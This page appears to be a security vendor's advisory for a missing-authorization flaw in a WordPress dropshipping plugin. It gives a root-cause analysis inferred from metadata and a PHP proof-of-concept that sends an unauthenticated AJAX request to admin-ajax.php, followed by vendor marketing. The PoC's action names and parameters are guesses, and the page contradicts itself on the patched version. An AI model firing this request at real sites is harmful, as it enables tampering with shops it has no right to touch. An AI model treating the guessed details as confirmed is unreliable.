Published : July 20, 2026

CVE-2026-57352: ALD – Dropshipping and Fulfillment for AliExpress and WooCommerce <= 2.2.0 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-57352
Plugin woo-alidropship
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.2.0
Patched Version —
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57352 (metadata-based):

This vulnerability is a Missing Authorization (CWE-862) in the ALD – Dropshipping and Fulfillment for AliExpress and WooCommerce plugin up to version 2.2.0. The plugin fails to check user capabilities before executing a function, allowing unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network-based exploitation with low complexity and no privilege or user interaction requirements, but only low integrity impact.

Root Cause: Based on the CWE classification and description, the likely root cause is a missing `current_user_can()` or `wp_verify_nonce()` check in a WordPress AJAX handler or REST API endpoint. WordPress plugins commonly register AJAX actions via `wp_ajax_` and `wp_ajax_nopriv_` hooks. The developer likely omitted a capability check such as `manage_options` or `edit_posts` for a function that performs a state-changing operation (like updating settings, downloading data, or interacting with external APIs). This is a standard WordPress authorization vulnerability. Atomic Edge analysis infers this from the CWE, as no code diff is available.

Exploitation: An unauthenticated attacker can exploit this by sending a crafted HTTP request to the WordPress AJAX endpoint at `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to a plugin-specific hook that lacks capability checks. Based on the plugin slug (`woo-alidropship`), likely action names include `alidropship_sync`, `alidropship_import`, or `alidropship_update_order`. The attacker sends a POST request with this action and any required parameters. No authentication cookie or nonce is needed because the handler is registered for both authenticated and unauthenticated users. The attacker can trigger the unauthorized action repeatedly.

Remediation: The developer must add a capability check in the vulnerable function. For administrative actions, the check should use `current_user_can(‘manage_options’)`. For actions that require logged-in users, `current_user_can(‘edit_posts’)` or similar is appropriate. The function should also verify a WordPress nonce with `wp_verify_nonce()` to prevent CSRF. The fix was released in version 2.2.1.

Impact: Successful exploitation allows an unauthenticated attacker to perform an unauthorized action. The low integrity impact suggests the action could modify plugin settings, trigger data exports or imports, or alter order statuses without proper authorization. No data confidentiality or availability is affected, but an attacker could disrupt normal plugin operations or manipulate data in ways the developer did not intend.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57352 - ALD – Dropshipping and Fulfillment for AliExpress and WooCommerce <= 2.2.0 - Missing Authorization

// Configuration: Change $target_url to the vulnerable WordPress site
$target_url = 'http://example.com'; // No trailing slash

// Likely AJAX action based on plugin slug. Adjust if different.
$action = 'alidropship_sync'; // Placeholder - may need to be discovered by probing

// Build the request payload
$post_data = array(
    'action' => $action,
    // Additional parameters may be required by the actual vulnerable function
    // These are examples; real exploitation may require parameter discovery
    'status' => 'completed',
    'order_id' => '12345'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";

// Note: This PoC assumes the vulnerable AJAX action is registered with nopriv.
// If exploitation fails, try other actions like 'alidropship_import', 'alidropship_update', etc.
// The actual action name must be confirmed through code analysis or probing.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School